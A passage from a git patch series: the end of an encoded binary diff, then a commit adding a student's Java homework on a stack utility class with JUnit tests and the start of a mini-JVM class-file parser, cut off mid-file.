zNg5t#6SXCKHd+l$&mIxqm1Cbff&aeWLilSl<!EMNZSrW>b)wui`V<-f;K2m|F#i<%
zDbD<`_uAEv1>ti7o3J;1)OVW7jkn2INMUMTEKfM2iAseLP}5iUhcsxvjVGK7TUE~z
z{94tM{Ul7+ooWVJ;tiJBm1TN?gc7k&w#c4^n3VD^&I=r|o$wAXR?l?YW)d~ElKJTO
zE+O^AbmmuU(i98ry>Fq&;nMDQz0Y&|n<>eqAVf9%((W)2?zbj_iL`~%SlXD+T3(>0
z75xxbEJ(AoG=y!J&^DxgwKyGeh$DH?*IxZ5m+Sz4wE9%>eGL{_?1iqMp{<7z8>z@n
z)6MSr<buFi?dy47i~@-~`KKa%9(|lOGHe_;NtnViV&V4tz^?@;=ukUF(fiU1xe^kt
zBPY^V!+NuyD}p#2$Y|82@SJsSlV;bTTU~XAd)tMW&GQvMjnyFB;|Z>@lql_w@l>~E
zLT4=jRa5Ply;NQBcy}$L*afG>gZG`AniOgdg6<<JhGtbxK}+mZ$9fuVE)Db{If0W|
zh<ZA0YBZ;(s-10?@<FBaOWXOo&iOWAsT^`##%$^FnU|I|GY~9>j+1a8W!kwb_dU-j
zKMSg2X<25&P;C`U=Fi=(*Z_Em81hicLh5JPB=L3#3M`8qvy=wp<7{T=WGikQY#7oa
z7BA%xxg||T@5#l=nAdd|nlFCrhMUeG`fqfjc=LN-99*<ArjYepU{hq9pRNZp-n$*8
zoS#?j&+}c)L}EX`8_pE)x$IW6A-2ll&QM$6yWPGVRg3=Odb>gf<C&K03%4JKgRsx@
z;>e~P2dg00khS~ioekD4Eb6EsFC3KA+tkjbFJxp0US45T_KVJCgsr>;q8(6;9QCHC
zdt#oXq3tWW7+Nh)yEc(mhNyPl*GDj&Q%Y{WOP7=RP9K1*<4`MaxK_(5Da0SzZ$jIK
zHJFA$ffmTs`b}wg3dg8>YY)w^^YjfOH@X#hQ$xqBPzP@83taVaHqIFe=2ep|QrOEH
zLkHXLS%b0aEshseF=ezsr?>k?7J-L&sS+3s+Gh$fgKzf9aO)+`3Ovo0d4z=vL}XGX
z;mUvvY4`*amgHV2kR2IkPkAD($&-wCj_RXvSYxa?Y{aNu=}bM7Bt^e2#}Nr7-G3g(
zaPg$lCFBa(O|ZAmae-t?>b%#&7QbpVkBt#{YTQOx-x!pl@}-HIkmO@Nbl#lePBJ-V
zp9@F(B^;;3+6Pc3m#dy~@BDg4y{R*HfIFs*!aJ=9nAPPE4*0UMX*e7m_Tlb~L;Ic6
z_Y2|2#kZb!v3zO<Kr<(tfvDN51Hw{1k7(F@e(ro%z0H-{H}mL@2J+KC!YLW{49y{l
z#$N@&(P{U@)EsifWuoDplE$}vZQ7xw%<j<%Zj(-VL!0}|`AXH5Clp2ftqym;iBr=+
zhX^q@5u-}DT^&OYqRxlmQiVW|L5{J>Iou~E*9_zly;f-W$Y`h2S@5yV+9D$a<R^VY
zfnx2g%N6zl(&K0dS*pfR$l}ik-luw3Lp;}qba^gnmvt1M@1CfWF>pL^Qmn6uDes4k
z?*=u%Iw!BK#vu2Jfwo%7c!ty<K226w{N*_lYBpeF{QXNgkrf?>x#YsJoI>H4?zSw2
zFE@I0L#dW!T4T_u$x=e-`$az{If~_3MB+JaQMKomjM9a7VV#P^*aEQiMS3fde6UO;
z>)%?F=g=)`I<l~bgm!$-CAYb<xD>-P%V8IFpe^+$)>gMidYcgb5;@j}5;yv#E7f2X
zJ{iroX*Kx^8QOHY>dWcYzF1k}xh5*EBWTAq5D8VeMbk$J9N?3Emp%=)rx2y&2qbBf
z3&KWyCX=3&MV3_f;%t%f^9nM|!;6}I2s~F>s83h4nqR{fp~g0%A`6e}4`yl3Rc+$o
z1}Es88<Syji?D6*k1Ar0v(M4I9%Qn7icrp{700PQD2%xKZRa4x5q$V+RN#cL5s)J-
z*b;uh{dtcX&rituMT(d#vu>h6{`6(h9PeucKHnMh)PU@(>Xg~QI!yjHZbHO&?~ncG
z49D9>%$!TcVkQK1lLZ*dTKR#|9F090^3;wrOWjYS76r#fO=E>Qs(ws-`7`1xt0nR^
z1xI{W;1j-w6X%~1A2>VUWNl*O_^@KksW#cnG6CliP6!bp@T@hWc6)?ZTkO(_MZy8E
z*5AaMg_en;kz2E;d|pH1aom~*=<uG{g}vUPJt-oZeeX{!AQHo{9xAZlwGiXd+;oeg
zF{6(5p33xvy{7dTG2JSvNqO|pa8xRT1y!U*fYMM%G()KHb$c!7%${+1iIhx+6W~Y9
zh@Bmc_9@VGmPSS*NQE{xdo^s>k#;p@(3BMqjdz2kg4eoGM_u^nEfv&VS2BIMFs61*
zWEYgdqGgv!P_=~}?ksNNaiAH*=ay7xw)`u!ve{d_pldUd6g5<f64(?nUCAQ6Ep&V7
zPJZwHxL_4X_~;sPYTHE_3gwR`eAr0j&)M_WL`V}gH23=hN9T@eV{ejqx#GEkKd3*o
zX`MrlDB_FHHz63fEdiZ^I=TV#VnueWGSgvG#{o70edYofV_POTq?Sod^m`~>HA;>9
zNJ$WiTNH5ibeF;(H({?>s?a&~3{nQXAu64Hq*L9|T2%Ms(CK=@qU2Wszwz;Q;Fa1Q
z^MTfctA$lDV<UGQoUPO~iG(BRPF@*yQ6MXhB=XL^+&jU0E;ItPP;1GRW(`~3P)-$6
zZAUfLWVdI`mbnhm&le9fgk-Juf*wbbXN5<8e)`#(X$;d!Yk5qZ*IIcn0%<CPyQtPZ
z{#)`m!V^{U{D^pQ#erq_z_RsA$I;s8lGyc&rfGAvbOQ{`bMeg!7d{6$6cEV9+xy=2
zdiQFwaC^2?&-?zu%6L;T!hp#31*eKvarqb!3hxs3F5W)c0R1@J$ooyZ8*Y*Net_7A
z3={1>4|Z24W8LeuRB48j8@ZgtC-~f@9LEFw>`qET!{|yGbbiZn9K_5fuNLf}&t|Mt
z@TqG3<6%ZVQ_1Fek<@+bI}vFZd{sGW86`LTNpjf!I&qe@YjXszZo+sHk9)$*Dxy`0
z`6+%^VuPjZ=ZRKd_N|(V%~uTLj4xy4lS=hEl$0{<%}&yNf5c?<_|Cbwd}qlPy+M{v
z9@lR1tkoiamuCkNIAS;3Y1+abzkX^j^&0;JTq~+CR^Ki+w09SG$jMjz5$4Q8VeCv5
zYeY8-i(E9WfU!Mi_tz*|I0vyPRmt74sjCx75H-noaGzB6a985DfSdbVP>#v^-1NTi
zj`Dg4FqI$A^~Yql4^aMl(D!ikZuB!1p>A#UDCYa_^I|vw{6EBhau>hl%pFave@1*6
zQLXT8OhD0nzkA@BP3?GiJUM@rE7lkata)*uv(o4HU%%AK13S|uQ{39)I&=3s<|4nl
zE54<mh83Tfq}RdJ9ts|O1_>il{ezDiO0HXe^Hj>-h7!5CREEj$1&OLHf<X_eQG_G`
zS9w6Qx#l(vsBm7P#X5D@wxo{}9wF^s(z0GXJsqk0E6NRFR^kO~i=5N#&y>RNtfP^L
zhu9j}3URO%IDc6CV8zco<xf*gq7^LtnJ@wuz{xNB1@@QQV}^89uQs=*^h-%}XWvM6
zbj&cHEnsuvIC_0f_o!RouAR{t2Ws0^d^3Y)3nLMvm!UijZJo8m#{#N%J9We4#<ap{
zPK`&SsF>Cgx_swhUHY00e<OV5W`*OqXP&ZQJs%*MzS}OVJyMqUgG46$wMgbMon`+j
z0z~E~{w@|SUQQdh^5uxI*`A1^rs*_EyNxwR(t`c`maY(uY-jS&6-v_AM5XiNfYX_c
z^D8J1586qKWAb~&M3d0OuP=ocl+2|Xoi3hm-U$#piQSc}c^!M)BK_%}lS=M~r@_g<
zaquia15@+UJ--IoI4T<$TK&ujjwdeI%rIee?Nja&k}lMii_AbOYbs1gG)#9+m`^^(
zDZ`qLAxu3)Y)CzO=HY7&s?^z`ceX;$qWGbIp9e*<xO&lZx5m4$w7iu;<;Poqq-Gz|
zL;dneTz#rNH&M=H?X+YVgpvYxeqgLsi0VMrhyFr2hOJha-ag1O-BjP6U^4}kHDW~B
zW_`a@B^4GpPE#oa%~m;n6sU1f(wbz6s3h%+C8$zWgMdSB&7`lv$_kaZ!_%w@j8Jh2
zT0|DAf?^bden|!IRf!Zosk&=gB(NGS4&)r1Lax~>1$B4?LJn86Sg2;S83=#L9ZB?C
zgKPlh2>SNG3~wl!^H9Ihku`LzhsGXzDhUM%s@H$++PbxvkEZ-NAXdr*$2Xl<6A?9P
z(J9K~0<rrbYEdgfSc_Uu-dep{vf~9`t{?V?=fyfYNqR>#dTfWh#r1Q^dPWxnHgtoK
zD5!jB=@H)`FJW<WFi6id#Yv~)zX(3FQ30Xbao2xXQItrWCI}JCIHjo_9+5VS?x~gA
z|Kfc)^~4VViwKZ7wt$LxSL>VAFLimrkF3Oz+n+PjT{dq83MY{o9RP<vZ~TZlf$gOB
z1VNm{;<G^o2_4h!4!lI4$ZbzxB-u9Rz24q^*Aimm{^U26@O8-#$M;pZDm-d4G=E2l
zkX4+hPNdKbRdOo+3W(r&2!0mfoGZUbAs~oZG?vYVyrOf&M+T^hbfK$fY&)GbC#$CC
zd4IEX*u42P+~+Iy9`(z~l280Wx;#U%b{y_g*sF{uo$B=LrZbwagP)@v1UD=Bv-e+6
z$-=UmXx<6rxK^W~kIxgBGSR{Uh`F8^h#t@$Zn$%?YtrXfTHFlKr`_FmKVvR1gy8s^
z4a>`Mdr@UnHA)eMmzhEQQF_sAl0y4ScUsQ`1)ln+*XD&x&u_^JH<GakBpl!Le7}b=
zjTiU7plJ9G!;Dw^#<mi*an(ieqt~eR9pJxvMDQjTpl5Gl^|*TB2`MSjE%?7B@C);>
zRsJQz@F4jqc24RkGca%;YJp_Hi*uHS^qUn(bTdQ3>kUcD9Mas)TbXJv4}YJ!vXZ6)
zdlu6nPlq0N2S<O`?0D+~_(T;XzeeP)t5>bZdj@t0q^$1#A_sYkqPQG`Yn@l2(5o!*
z9{8113@>OmQ&uwKHO^O=)JS3(GdReDwfn|;L)@bYdsTE6dQL{4rp6Rb;X#>OmI&><
zD!00u<*oWO?nrdf8nY3KY5$RGD4E9)s+0uR`~}PhKScY~*G?}6_miZ=BcO5fkwdYV
z6VlOUV|O^^4czF4FLjt<s`!Y^Ja3fw9F32H2KdmrxWpY#Gexi7a@V=NLm9-5CGZ+p
z|LIa5R+0a^6y%}C<M*2JZ=5;`aJx5xrKrHZ`Psin|Gm!qq&aZ7H4K6o5qhy<kvIN(
z#*iy8=7*~WR%2-0Vzna+Yp1zVD%I5)mK-hJ4l~^4UEZ8P+sD1+X(hH1Wp=8FD0d?9
zrve-M<5(Eskxd!YIlh!EI}K|&{7Y8(bcd_xA96%Fm_qY1CU%}9Celjb^c!ape2iy_
z=FxDeCfjn-0Xg1T3!WPki-3rUuAs**Q>2dWIgtEaF2we*nEHrNXXezYwA(xf;_G@i
zqN$)8^<8UIi@zg$wmj|jnM3&R^X>0rmwzLO8@~AD222bGIEW?y|NivQzXbmoM*n9P
z%2~EEA$IQjd%@&hFXvsiQ#rZg`s<2AH@HW|CU-iQjg@;|rwCSJNjdj+62pBt7jbX6
zjo$9$d|A;-OI1Mt>5gu(tp&9|zCFhZYq)DU2NMndl6)$uma~C#hrLj4Y}!{;@h~sT
z=vj?o?2i%izP2|nWK)3|>&jiK$TOZlu-2XrXBzWOzBv+BBCvoulo#+T>LTI3FC|Rv
z!t;b%-yAu{M3{ygPPp4)4&9m}rA^k-Acb-xTsDw}bs$IHBdZ?-YCPX4sfs93&#Bjo
z3mSbtG{Kx;?~aYjVaWnyDQx+=Ap9yLpB>`^>A_T?*)VqY`xn#w;Z;eGwjE<N_cNB@
zDU}Q^A$Tad&=LW!Y2Y1)p0b;*iG$9=#-lo(7t{t`?a!rdQDP>;aCnqe#Pm0ftZ<9Q
z#;ZXs#d;Nt7<XPE2x9<7>PsC`iZkww(fac4(Ma}bJi~AEm{##98qlxY^XGE(_m7iW
z`TNn}3j+?3;cEgr3gWgu9D3pto8&pa*O%@%XmN{`E+bug@g_Inn>g)T-4#C=k}n+)
z7rVBu-T5xC$S~?|WxW@0Qspek{GiR_sDM>EkMFx5a^Rl}Gikz;%j<qRs{9Q5yc%}$
z72#K;Gh=RQ%j2pslDQr9`J&V!Ok-BmLlyPqMf-%2Srp5<mt~ckB6w@Nji!cP8WwPU
z{R#OrM_pA%{vmjpxDskG4i@<?9Lm+S^8O?AT34`h?I>PqTSK8vr*o{siMRa+AR<iA
z`k2d50{%E12?dYg#A;+E=1ldiGrPDXr6I$MK_Yj7twqSZ@@Ci=K+K}jK6g43K{_MZ
z;zWxNV5}K?C1#I%@wD>(YpFGIOk=YeCHTbg2?Pe<cR=>|>3|;);0b^j{QZ{vU!T>l
z4*uQ8Jb3G0?ZMl$6946w9}oK2dp}@)4Z8L>=I2}VzXtoI!UObSuu}Ygy0`y@dyxLs
z9<C5b|B3tSt^bpw$Byv<{Yzc$e?kB0CLf#rIE??@*W@1-{N2mr4jxC)zdOhP`=s9<
z{?B;&e-ZLfB>1cSMa@4-2LEK@anaxd>=zT1;H$r3|0yAStoq}Ux8LYOuz&a){Z|3p
zWBB9ht>18butWY0|GSp!e;NHy&-AN37%c_)cXiW)!T&zHAJ&Fn?E%6}_QwM7SlP#G
z#RKpcQ<{GQ!FvCF0P~MI|N9Mnd~EZ(CtUCj>i;^#d929eZN+bR9pQiAe{3=y;~(b<
zf8!~U|AYT$*6=a>ae>%xxb<J0|1KB%1^$0w|1<ai>!;~|rAPjpr;igPzeip96Zkt_
XA}<Z~(|uurGb*^?*+KXG0rY<WfOX^L


From ccb0988371398c53c86fdbe7a5068050ddfe48f3 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Fri, 7 Apr 2017 16:20:28 +0800
Subject: [PATCH 046/262] update & stack homework

update & stack homework
---
 .../src/com/coding/basic/stack/Stack.java     |  47 ++++++
 .../src/com/coding/basic/stack/StackUtil.java |  99 +++++++++++++
 .../com/coding/basic/stack/TestStackUtil.java |  63 ++++++++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 ++++
 .../src/com/coderising/jvm/clz/ClassFile.java |  75 ++++++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +++
 .../coderising/jvm/constant/ClassInfo.java    |  24 ++++
 .../coderising/jvm/constant/ConstantInfo.java |  29 ++++
 .../coderising/jvm/constant/ConstantPool.java |  29 ++++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++++++
 .../jvm/constant/MethodRefInfo.java           |  55 +++++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++++++
 .../jvm/constant/NullConstantInfo.java        |  13 ++
 .../coderising/jvm/constant/StringInfo.java   |  26 ++++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +++++
 .../jvm/loader/ByteCodeIterator.java          |   5 +
 .../jvm/loader/ClassFileLoader.java           |  97 ++++++++-----
 .../jvm/loader/ClassFileParser.java           |  44 ++++++
 .../jvm/test/ClassFileloaderTest.java         | 134 ++++++++++++++++--
 .../src/com/coderising/jvm/util/Util.java     |  24 ++++
 20 files changed, 891 insertions(+), 48 deletions(-)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java

diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..58a4846f2b
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,47 @@
+package com.coding.basic.stack;
+
+import java.util.EmptyStackException;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+    private ArrayList elementData = new ArrayList();
+
+    public void push(Object o) {
+        elementData.add(o);
+    }
+
+    public Object pop() {
+        checkBound();
+        return elementData.remove(size() - 1);
+    }
+
+    public Object peek() {
+        checkBound();
+        return elementData.get(size() - 1);
+    }
+
+    public boolean isEmpty() {
+        return size() == 0;
+    }
+
+    public int size() {
+        return elementData.size();
+    }
+
+    private void checkBound() {
+        if (isEmpty()) {
+            throw new EmptyStackException();
+        }
+    }
+    
+    public String toString(){
+    	StringBuilder sb = new StringBuilder();
+    	for(int i=0;i<elementData.size();i++){
+    		sb.append(elementData.get(i));
+    		if(i < elementData.size() - 1)
+    			sb.append(",");
+    	}
+    	return sb.toString();
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..bbcc7e05e2
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,99 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		Stack tmp = new Stack();
+		Stack tmp1 = new Stack();
+		while(!s.isEmpty())
+			tmp.push(s.pop());
+		while(!tmp.isEmpty())
+			tmp1.push(tmp.pop());
+		while(!tmp1.isEmpty())
+			s.push(tmp1.pop());
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		Stack tmp = new Stack();
+		boolean found = false;
+		while(!s.isEmpty() && !found){
+			Object obj = s.pop();
+			if(obj == o){
+				found = true;
+			}else{
+				tmp.push(obj);
+			}
+		}
+		while(!tmp.isEmpty())
+			s.push(tmp.pop());
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		Object[] objs = new Object[len];
+		if(s.isEmpty() || len == 0)
+			return objs;
+		int i = 0;
+		while(i < len && !s.isEmpty()){
+			objs[i++] = s.pop();
+		}
+		for(i=objs.length-1;i>=0;i--)
+			s.push(objs[i]);
+		return objs;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * 
+	 * ( 40  ) 41 [ 91 ] 93 {123 }125
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		if(s == null || s.length() == 0)
+			return true;
+		Stack stack = new Stack();
+		char[] chars = s.toCharArray();
+		for(int i=0;i<chars.length;i++){
+			char tmp = chars[i];
+			if(tmp == 40 || tmp == 91 || tmp == 123){
+				stack.push(tmp);
+				continue;
+			}else if(tmp == 41){
+				if(tmp-1 == (char)stack.peek()){
+					stack.pop();
+				}else{
+					return false;
+				}
+			}else if(tmp == 93 || tmp == 125){
+				if(tmp-2 == (char)stack.peek()){
+					stack.pop();
+				}else{
+					return false;
+				}
+			}
+		}
+		System.out.println(stack.size());
+		if(!stack.isEmpty()) return false;
+		return true;
+	}
+	
+	
+}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java b/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java
new file mode 100644
index 0000000000..48a6be9b5f
--- /dev/null
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java
@@ -0,0 +1,63 @@
+package test.com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.Stack;
+import com.coding.basic.stack.StackUtil;
+
+public class TestStackUtil {
+	
+	@Before
+	public void setup(){
+		
+	}
+	
+	@Test
+	public void testReverse(){
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		StackUtil.reverse(s);
+		Assert.assertEquals("5,4,3,2,1", s.toString());
+	}
+	
+	@Test
+	public void testRemoveObj(){
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		StackUtil.remove(s, 3);
+		Assert.assertEquals("1,2,4,5", s.toString());
+		StackUtil.remove(s, 6);
+		Assert.assertEquals("1,2,4,5", s.toString());
+	}
+	
+	@Test
+	public void testGetTop(){
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Object[] objs = StackUtil.getTop(s, 2);
+		Assert.assertEquals("1,2,3,4,5", s.toString());
+		Assert.assertEquals(2, objs.length);
+		Assert.assertEquals(5, objs[0]);
+		Assert.assertEquals(4, objs[1]);
+ 	}
+	
+	@Test
+	public void testIsValidPairs(){
+		Assert.assertEquals(true, StackUtil.isValidPairs("([e{d}{f}])"));
+		Assert.assertEquals(false, StackUtil.isValidPairs("([b{x[]y})"));
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..650ca8375d
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
